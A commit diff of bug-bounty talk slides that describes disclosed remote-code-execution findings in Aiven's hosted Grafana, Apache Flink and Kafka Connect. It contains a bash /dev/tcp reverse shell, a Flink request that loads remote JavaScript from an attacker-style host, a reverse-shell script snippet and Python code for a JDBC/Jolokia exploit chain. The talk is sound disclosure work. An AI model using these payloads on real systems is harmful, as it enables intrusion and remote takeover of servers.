Projects STRLCPY helsec-1103 Commits d2a852d8
🤬
  • img/jrunscript-1.png
  • img/jrunscript-2.png
  • img/jrunscript-3.png
  • img/kafka-connect-bounty.png
  • img/kafka-connect-logs.png
  • img/search-code.png
  • ■ ■ ■ ■ ■ ■
    package-lock.json
    1 1  {
    2  - "name": "hajysec-1022",
     2 + "name": "helsec-1103",
    3 3   "lockfileVersion": 2,
    4 4   "requires": true,
    5 5   "packages": {
    6 6   "": {
    7  - "name": "hajysec-1022",
     7 + "name": "helsec-1103",
    8 8   "dependencies": {
    9 9   "@slidev/cli": "^0.36.5",
    10 10   "@slidev/theme-bricks": "^0.0.2",
    skipped 11538 lines
  • ■ ■ ■ ■
    package.json
    1 1  {
    2  - "name": "hajysec-1022",
     2 + "name": "helsec-1103",
    3 3   "private": true,
    4 4   "scripts": {
    5 5   "build": "slidev build",
    skipped 15 lines
  • slides-export.pdf
    Binary file.
  • ■ ■ ■ ■ ■ ■
    slides.md
    skipped 169 lines
    170 170  # Grafana RCE (5) - Q1
    171 171   
    172 172  - Testing for CRLF injection (\r\n) AKA newline injection
    173  -- <b>API input validation schema in Github:</b>
    174  - - github.com/aiven/terraform-provider-aiven/aiven/templates/service_user_config_schema.json
     173 +- Searched Aiven Github repositories in case something interesting was there
     174 +- <b>Found Service Configuration API input validation schema in Github [^1]</b>
     175 + 
     176 +[^1]: https://github.com/aiven/terraform-provider-aiven/blob/v2.1.9/aiven/templates/service_user_config_schema.json
    175 177   
    176 178  <BarBottom title="hackerone.com/reports/1200647">
    177 179   <Item text="@JJaaskela">
    skipped 118 lines
    296 298   
    297 299  # Grafana RCE (x)
    298 300   
    299  -- How to establish reverse shell?
    300  -- Bash supports /dev/tcp/SERVER_IP/SERVER_PORT - bash opens tcp connection to SERVER_IP:SERVER_PORT
    301  -- Bash reverse shell: `bash -l > /dev/tcp/SERVER_IP/4444 0<&1 2>&1`
    302  - 
    303  -<BarBottom title="hackerone.com/reports/1200647">
    304  - <Item text="@JJaaskela">
    305  - <carbon:logo-twitter />
    306  - </Item>
    307  -</BarBottom>
    308  - 
    309  ----
    310  - 
    311  -# Grafana RCE (x)
    312  - 
     301 +- Verified that it works on local Grafana instance
     302 +- How to establish reverse shell:
    313 303  ```txt
    314 304  [plugin.grafana-image-renderer]
    315 305  rendering_args=--renderer-cmd-prefix=bash -c bash -l > /dev/tcp/SERVER_IP/4444 0<&1 2>&1
    skipped 9 lines
    325 315   
    326 316  # Grafana RCE (9)
    327 317   
    328  -- For some reason, could not pass whitespaces, had to encode spaces using "$IFS"
     318 +- For some reason, could not pass white spaces, had to encode spaces using "$IFS"
     319 +- IFS env variable - Internal Field Seperator - can be used as space substitute
    329 320   
    330 321  ```txt
    331 322  [plugin.grafana-image-renderer]
    skipped 51 lines
    383 374   
    384 375  ---
    385 376   
    386  -# Apache Flink RCE (1)
     377 +# Apache Flink RCE
     378 + 
     379 +- Flink processes data from database, kafka or some other data source
     380 +- User can submit jobs that process data - these are java applications (JAR files) that contain user code
     381 +- Flink has Web UI and REST API
     382 + 
     383 +<BarBottom title="hackerone.com/reports/1418891">
     384 + <Item text="@JJaaskela">
     385 + <carbon:logo-twitter />
     386 + </Item>
     387 +</BarBottom>
     388 + 
     389 + 
     390 +---
     391 + 
     392 +# Apache Flink RCE
     393 + 
     394 +- Aiven Flink Service does not allow running custom jobs
     395 +- Only SQL queries
     396 +- Web UI and REST API are accessible
     397 + 
     398 +<BarBottom title="hackerone.com/reports/1418891">
     399 + <Item text="@JJaaskela">
     400 + <carbon:logo-twitter />
     401 + </Item>
     402 +</BarBottom>
    387 403   
    388  -- Apache Flink has REST API
    389  -- Aiven blocked access to some REST API endpoints via reverse proxy rules (HAProxy)
     404 + 
     405 +---
     406 + 
     407 +# Apache Flink RCE
     408 + 
     409 +- Aiven blocked access to some REST API endpoints via reverse proxy rules (like uploading JAR files)
     410 + 
     411 +<img src="src/../img/flink-web-ui.png" style="height: 350px"/>
     412 + 
    390 413  - However, all GET operations were still allowed
    391 414   
    392 415   
    skipped 12 lines
    405 428  <img src="img/flink-plan-get.png"/>
    406 429   
    407 430  - Can specify java class name and class arguments !?! 🤔
    408  -- Potential RCE using GET request!?! What!!!
    409 431   
    410 432   
    411 433  <BarBottom title="hackerone.com/reports/1418891">
    skipped 6 lines
    418 440   
    419 441  # Apache Flink RCE
    420 442   
    421  -- Finding the gadget ... TODO
     443 +- Reviewed Flink source code to confirm how it works
     444 +- Found that calls `main(String[])` method of the entry-class with the programArg values:
     445 + 
     446 +```java
     447 +private static void callMainMethod(Class<?> entryClass, String[] args) throws ProgramInvocationException {
     448 + Method mainMethod;
     449 + if (!Modifier.isPublic(entryClass.getModifiers())) {
     450 + throw new ProgramInvocationException(
     451 + "The class " + entryClass.getName() + " must be public.");
     452 + }
     453 + try {
     454 + mainMethod = entryClass.getMethod("main", String[].class);
     455 + } catch (NoSuchMethodException e) {
     456 + throw new ProgramInvocationException(
     457 + "The class " + entryClass.getName() + " has no main(String[]) method.");
     458 + } catch (Throwable t) {
     459 + // [...]
     460 + }
     461 +}
     462 +```
    422 463   
    423 464  <BarBottom title="hackerone.com/reports/1418891">
    424 465   <Item text="@JJaaskela">
    skipped 5 lines
    430 471   
    431 472  # Apache Flink RCE
    432 473   
    433  -- GET <https://FLINK_INSTANCE_NAME.aivencloud.com/plan?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load(https://evil.example.org)&parallelism=1>
     474 +- How this can be used to execute arbitrary code on the Flink server?
     475 +- Searching Java JDK for "main(String[]":
     476 + 
     477 +<img src="img/search-code.png" style="height: 250px"/>
     478 + 
     479 +- Found com.sun.tools.script.shell tool - same as the jrunscript command line tool
    434 480   
    435 481  <BarBottom title="hackerone.com/reports/1418891">
    436 482   <Item text="@JJaaskela">
    skipped 5 lines
    442 488   
    443 489  # Apache Flink RCE
    444 490   
     491 +<img src="img/jrunscript-1.png"/>
     492 + 
     493 +<img src="img/jrunscript-2.png"/>
     494 + 
    445 495  <BarBottom title="hackerone.com/reports/1418891">
    446 496   <Item text="@JJaaskela">
    447 497   <carbon:logo-twitter />
    skipped 4 lines
    452 502   
    453 503  # Apache Flink RCE
    454 504   
    455  -<img src="img/aiven-flink-rce.png"/>
     505 +- jrunscript uses Nashorn JavaScript engine
     506 +- To make delivering reverse shell payload easier, why not load it from remote JavaScript file?
     507 + 
     508 +<img src="img/jrunscript-3.png"/>
    456 509   
    457 510  <BarBottom title="hackerone.com/reports/1418891">
    458 511   <Item text="@JJaaskela">
    skipped 3 lines
    462 515   
    463 516  ---
    464 517   
    465  -# Apache Flink RCE - Fun fact
     518 +# Apache Flink RCE
     519 + 
     520 + 
     521 +- shell.js: [^1]
     522 + 
     523 +```js
     524 +var host = "https://evil.example.org";
     525 +var port = 8888;
     526 +var cmd = "/bin/bash";
     527 + 
     528 +var p = new java.lang.ProcessBuilder(cmd, "-i").redirectErrorStream(true) // [...]
     529 +```
     530 + 
     531 +[^1]: https://gist.github.com/frohoff/8e7c2bf3737032a25051
     532 + 
     533 +<BarBottom title="hackerone.com/reports/1418891">
     534 + <Item text="@JJaaskela">
     535 + <carbon:logo-twitter />
     536 + </Item>
     537 +</BarBottom>
     538 + 
     539 +```http
     540 +GET /jars/145df7ff-c71a-4f3a-b77a-ee4055b1bede_a.jar/plan
     541 +?entry-class=com.sun.tools.script.shell.Main&programArg=-e,load("https://fs.bugbounty.jarijaas.fi/aiven-flink/shell-loader.js")
     542 +&parallelism=1 HTTP/1.1
     543 +Host: ████
     544 +Authorization: Basic █████
     545 +```
     546 + 
     547 +<BarBottom title="hackerone.com/reports/1418891">
     548 + <Item text="@JJaaskela">
     549 + <carbon:logo-twitter />
     550 + </Item>
     551 +</BarBottom>
     552 + 
     553 + 
     554 +---
     555 + 
     556 +# Apache Flink RCE
     557 + 
     558 +<img src="img/aiven-flink-rce.png"/>
     559 + 
     560 +<BarBottom title="hackerone.com/reports/1418891">
     561 + <Item text="@JJaaskela">
     562 + <carbon:logo-twitter />
     563 + </Item>
     564 +</BarBottom>
     565 + 
     566 +<!--
     567 +# Apache Flink RCE
    466 568   
    467  -- GET /jars/:jarId/:plan was silently removed in Flink 1.16 (28 Oct 2022) release
     569 +- GET /jars/:jarId/plan was removed in Flink 1.16 (28 Oct 2022) release
    468 570   
    469 571  <BarBottom title="hackerone.com/reports/1418891">
    470 572   <Item text="@JJaaskela">
    471 573   <carbon:logo-twitter />
    472 574   </Item>
    473 575  </BarBottom>
     576 +-->
     577 + 
     578 +---
     579 + 
     580 +# Kafka Connect RCE
     581 + 
     582 +- Tool for streaming data between Kafka and other data systems
     583 +- Streaming implemented using connectors
     584 +- Supports 3rd party connectors
     585 +- Connectors configurable via REST API
     586 +- Sink Connector = sends data from Kafka to the sink data system
     587 +- Source Connector = retrieves data from the source data system to Kafka
     588 + 
     589 +<BarBottom title="hackerone.com/reports/1547877">
     590 + <Item text="@JJaaskela">
     591 + <carbon:logo-twitter />
     592 + </Item>
     593 +</BarBottom>
     594 + 
     595 +---
     596 + 
     597 +# Kafka Connect RCE
     598 + 
     599 +- Aiven supports interesting connectors, such as [^1]:
     600 + 
     601 +| Connector | |
     602 +|--------| ------- |
     603 +| JDBC Sink Connector | Connect to database using JDBC driver |
     604 +| HTTP Sink | Send data using HTTP request |
     605 +| |
     606 + 
     607 +[^1]: https://docs.aiven.io/docs/products/kafka/kafka-connect/howto.html
     608 + 
     609 +<BarBottom title="hackerone.com/reports/1547877">
     610 + <Item text="@JJaaskela">
     611 + <carbon:logo-twitter />
     612 + </Item>
     613 +</BarBottom>
     614 + 
     615 +---
     616 + 
     617 + 
     618 + 
     619 + # Kafka Connect RCE
     620 + 
     621 +- Found out that Jolokia is listening on localhost via logs
     622 +- Jolokia is a HTTP bridge to JMX (Java Management Extension)
     623 + 
     624 +<img src="img/kafka-connect-logs.png"/>
     625 + 
     626 +<BarBottom title="hackerone.com/reports/1547877">
     627 + <Item text="@JJaaskela">
     628 + <carbon:logo-twitter />
     629 + </Item>
     630 +</BarBottom>
     631 + 
     632 +---
     633 + 
     634 + # Kafka Connect RCE
     635 + 
     636 +- HTTP sink connector does not check if destination is localhost -> can send HTTP POST requests to Jolokia
     637 +- Can we use Jolokia to gain RCE?
     638 + 
     639 +<BarBottom title="hackerone.com/reports/1547877">
     640 + <Item text="@JJaaskela">
     641 + <carbon:logo-twitter />
     642 + </Item>
     643 +</BarBottom>
     644 + 
     645 +---
     646 + 
     647 +# Kafka Connect RCE
     648 + 
     649 +- Jolokia exposes the following command:
     650 +```json
     651 +"jvmtiAgentLoad": {
     652 + "args": [{
     653 + "name": "arguments",
     654 + "type": "[Ljava.lang.String;",
     655 + "desc": "Array of Diagnostic Commands Arguments and Options"
     656 + }],
     657 + "ret": "java.lang.String",
     658 + "desc": "Load JVMTI native agent."
     659 +}
     660 +```
     661 + 
     662 +- Can use this to load JAR files from the disk
     663 + 
     664 +<BarBottom title="hackerone.com/reports/1547877">
     665 + <Item text="@JJaaskela">
     666 + <carbon:logo-twitter />
     667 + </Item>
     668 +</BarBottom>
     669 + 
     670 +---
     671 + 
     672 +# Kafka Connect RCE
     673 + 
     674 +- <b>How can we upload JAR file to the server?</b>
     675 + 
     676 +<BarBottom title="hackerone.com/reports/1547877">
     677 + <Item text="@JJaaskela">
     678 + <carbon:logo-twitter />
     679 + </Item>
     680 +</BarBottom>
     681 + 
     682 +---
     683 + 
     684 +# Kafka Connect RCE - What is a JAR file
     685 + 
     686 +- ZIP file that contains the compiled java application code
     687 +- JAR parsers, like ZIP parsers do not care if the JAR is inside another file format (just looks for file header signature: PK...)
     688 +- <b>Can embed JAR files inside another file format</b>
     689 + 
     690 +<BarBottom title="hackerone.com/reports/1547877">
     691 + <Item text="@JJaaskela">
     692 + <carbon:logo-twitter />
     693 + </Item>
     694 +</BarBottom>
     695 + 
     696 +---
     697 + 
     698 +# Kafka Connect RCE - SQLite JDBC Driver
     699 + 
     700 +- Bundled with Aiven JDBC sink connector
     701 +- SQLite database files are stored locally, can specify database filepath via connection url
     702 + 
     703 +Connection URL:
     704 +```text
     705 +jdbc:sqlite:/tmp/test.db
     706 +```
     707 + 
     708 +<BarBottom title="hackerone.com/reports/1547877">
     709 + <Item text="@JJaaskela">
     710 + <carbon:logo-twitter />
     711 + </Item>
     712 +</BarBottom>
     713 + 
     714 +---
     715 + 
     716 +# Kafka Connect RCE
     717 + 
     718 +- Use JDBC sink connector and the SQLite JDBC driver to create db file
     719 +- Create database table for the JAR and insert the JAR contents
     720 +- Load the file as JAR using Jolokia jvmtiAgentLoad command
     721 + 
     722 +<BarBottom title="hackerone.com/reports/1547877">
     723 + <Item text="@JJaaskela">
     724 + <carbon:logo-twitter />
     725 + </Item>
     726 +</BarBottom>
     727 + 
     728 +---
     729 + 
     730 + # Kafka Connect RCE - JDBC SQLite config
     731 + 
     732 + ```python
     733 +connector_url = f"{kafka_connect_api_baseurl}/connectors/{connector_name}"
     734 + 
     735 +payload = json.dumps({
     736 + "connector.class": "io.aiven.connect.jdbc.JdbcSinkConnector",
     737 + "connection.url": f"jdbc:sqlite:/tmp/test.db",
     738 + "name":connector_name,
     739 + "topics": topic_name,
     740 + "key.converter": "org.apache.kafka.connect.storage.StringConverter",
     741 + "value.converter": "org.apache.kafka.connect.json.JsonConverter",
     742 + "value.converter.schemas.enable": "true",
     743 + "auto.create": "true" # Create tables automatically
     744 +})
     745 +headers = {
     746 + 'Content-Type': 'application/json'
     747 +}
     748 +requests.request("PUT", f"{connector_url}/config", headers=headers, data=payload, auth=(kafka_user, kafka_password))
     749 + ```
     750 + 
     751 + <BarBottom title="hackerone.com/reports/1547877">
     752 + <Item text="@JJaaskela">
     753 + <carbon:logo-twitter />
     754 + </Item>
     755 +</BarBottom>
     756 + 
     757 +---
     758 + 
     759 +# Kafka Connect RCE - JDBC SQLite Kafka topic message
     760 + 
     761 + ```python
     762 +producer.send(topic_name, json.dumps(
     763 + {
     764 + "schema": {
     765 + "type": "struct",
     766 + "fields": [{
     767 + "field": "payload",
     768 + "type": "bytes",
     769 + "optional": False
     770 + }]
     771 + },
     772 + "payload": {
     773 + # JsonConverter uses com.fasterxml.jackson, which supports binary values as base64 encoded string
     774 + "payload": base64.b64encode(jar_contents).decode('utf-8')
     775 + }
     776 + }
     777 +).encode('utf-8'))
     778 + ```
     779 + 
     780 +<BarBottom title="hackerone.com/reports/1547877">
     781 + <Item text="@JJaaskela">
     782 + <carbon:logo-twitter />
     783 + </Item>
     784 +</BarBottom>
     785 + 
     786 +---
     787 + 
     788 + # Kafka Connect RCE
     789 + 
     790 +<video>
     791 +<source src="videos/kafka-connec-jdbc-jolokia.mp4" type="video/mp4">
     792 +</video>
     793 + 
     794 +<BarBottom title="hackerone.com/reports/1547877">
     795 + <Item text="@JJaaskela">
     796 + <carbon:logo-twitter />
     797 + </Item>
     798 +</BarBottom>
     799 + 
     800 +---
     801 + 
     802 + # Kafka Connect RCE
     803 + 
     804 + ![](img/kafka-connect-bounty.png)
     805 + 
     806 +<BarBottom title="hackerone.com/reports/1547877">
     807 + <Item text="@JJaaskela">
     808 + <carbon:logo-twitter />
     809 + </Item>
     810 +</BarBottom>
     811 + 
     812 +---
     813 + 
     814 +# That's it
     815 + 
     816 +- Any questions?
     817 + 
     818 +<BarBottom title="Thank you!">
     819 + <Item text="@JJaaskela">
     820 + <carbon:logo-twitter />
     821 + </Item>
     822 + <Item text="jarijaas">
     823 + <carbon:logo-linkedin />
     824 + </Item>
     825 +</BarBottom>
  • videos/kafka-connec-jdbc-jolokia.mp4
    Binary file.
Please wait...
Page is in error, reload to recover